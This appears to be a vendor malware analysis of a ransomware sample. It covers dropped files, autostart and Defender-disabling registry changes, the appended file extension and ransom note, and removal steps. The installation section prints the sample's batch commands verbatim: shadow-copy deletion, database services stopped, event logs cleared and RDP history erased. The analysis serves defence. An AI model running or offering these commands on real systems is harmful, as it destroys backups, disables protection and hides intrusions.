Analysis by: Karen Ivy Titiwa
ALIASES:

HEUR:Backdoor.Win32.Remcos.gen(KASPERSKY); W32/Remcos!tr.bdr(FORTINET)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It drops files as ransom note. It avoids encrypting files with the following file extensions.

  TECHNICAL DETAILS

File Size: 1074382 bytes
File Type: EXE
File Compression: AutoIt
Memory Resident: Yes
Initial Samples Received Date: 18 Jan 2021
Payload: Displays message/message boxes, Deletes files, Encrypts files

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %User Temp%\7ZipSfx.{3 digit number}\kiwvyrcee.com → script used to trigger the malicious routine
  • %User Temp%\7ZipSfx.{3 digit number}\cnbbrnrhi.com → used to generate rundll32.com
  • %User Temp%\7ZipSfx.{3 digit number}\rundll32.com → AutoIt executable used to execute the ransomware
  • %User Temp%\7ZipSfx.{3 digit number}\qnsdpztxh.com → obfuscated and encrypted ransomware
  • %User Temp%\7ZipSfx.{3 digit number}\lozgzxher.com → encrypted Autoit decryptor
  • %User Temp%\7ZipSfx.{3 digit number}\Q → decrypted Autoit decryptor
  • %User Temp%\7ZipSfx.{3 digit number}\ids.txt -> contains error logs

It adds the following processes:

  • "%System%\cmd.exe" /c echo ywrmqtdba
  • "%System%\cmd.exe" /c cmd < kiwvyrcee.com
  • certutil -decode lozgzxher.com Q
  • %System%\cmd.exe /c @echo off
    sc config browser
    sc config browser start=enabled
    vssadmin delete shadows /all /quiet
    sc stop vss
    sc config vss start=disabled
    sc stop MongoDB
    sc config MongoDB start=disabled
    sc stop SQLWriter
    sc config SQLWriter start=disabled
    sc stop MSSQLServerOLAPService
    sc config MSSQLServerOLAPService start=disabled
    sc stop MSSQLSERVER
    sc config MSSQLSERVER start=disabled
    sc stop MSSQL$SQLEXPRESS
    sc config MSSQL$SQLEXPRESS start=disabled
    sc stop ReportServer
    sc config ReportServer start=disabled
    sc stop OracleServiceORCL
    sc config OracleServiceORCL start=disabled
    sc stop OracleDBConsoleorcl
    sc config OracleDBConsoleorcl start=disabled
    sc stop OracleMTSRecoveryService
    sc config OracleMTSRecoveryService start=disabled
    sc stop OracleVssWriterORCL
    sc config OracleVssWriterORCL start=disabled
    sc stop MySQL
    sc config MySQL start=disabled;
  • ping -n 1 wnmosszxn
  • rundll32.com Q
  • %User Temp%\7ZipSfx.{3 digit number}\rundll32.com
  • "%System%\cmd.exe" /c del %User Temp%\7ZipSfx.{3 digit number}\rundll32.com > nul
  • %System%\cmd.exe /c @echo off
    vssadmin Delete Shadows /all /quiet
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
    reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
    for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil cl "%1"

Autostart Technique

This Ransomware adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
WindowsUpdateCheck = {Executed Malware Directory}\rundll32.com

Other System Modifications

This Ransomware modifies the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\HomeGroup
DisableHomeGroup = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = 1

Other Details

This Ransomware deletes the following files to remove its traces in the system:

  • %User Temp%\7ZipSfx.{3 digit number}\kiwvyrcee.com
  • %User Temp%\7ZipSfx.{3 digit number}\cnbbrnrhi.com
  • %User Temp%\7ZipSfx.{3 digit number}\rundll32.com
  • %User Temp%\7ZipSfx.{3 digit number}\qnsdpztxh.com
  • %User Temp%\7ZipSfx.{3 digit number}\lozgzxher.com
  • %User Temp%\7ZipSfx.{3 digit number}\Q

Ransomware Routine

This Ransomware avoids encrypting files with the following strings in their file name:

  • windows
  • bootmgr
  • pagefile.sys
  • boot
  • ids.txt
  • NTUSER.DAT
  • PerfLogs

It appends the following extension to the file name of the encrypted files:

  • {original filename}.{original extension}.Globeimposter-Alpha865qqz

It drops the following file(s) as ransom note:

  • {Encrypted Directory}\HOW TO BACK YOUR FILES.txt

It avoids encrypting files with the following file extensions:

  • .dll
  • .lnk
  • .ini
  • .sys

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.484.03
FIRST VSAPI PATTERN DATE: 18 Jan 2021
VSAPI OPR PATTERN File: 16.485.00
VSAPI OPR PATTERN Date: 19 Jan 2021

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Troj.Win32.TRX.XXPE50FSX006

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • WindowsUpdateCheck = {Executed Malware Directory}\rundll32.com

Step 6

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\HomeGroup
    • From: DisableHomeGroup = 1
    • To: DisableHomeGroup = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • From: DisableAntiSpyware = 1
    • To: DisableAntiSpyware = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • From:  DisableRealtimeMonitoring = 1
    • To:  DisableRealtimeMonitoring = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • From: DisableBehaviorMonitoring = 1
    • To: DisableBehaviorMonitoring = 0
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • From: DisableOnAccessProtection = 1
    • To: DisableOnAccessProtection = 0

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\7ZipSfx.{3 digit number}\ids.txt
  • {Encrypted Directory}\HOW TO BACK YOUR FILES.txt

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.Win32.MAOLOA.THAAHBA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 9

Restore encrypted files from backup.

Step 10

Scan your computer with your Trend Micro product to delete files detected as Ransom.Win32.MAOLOA.THAAHBA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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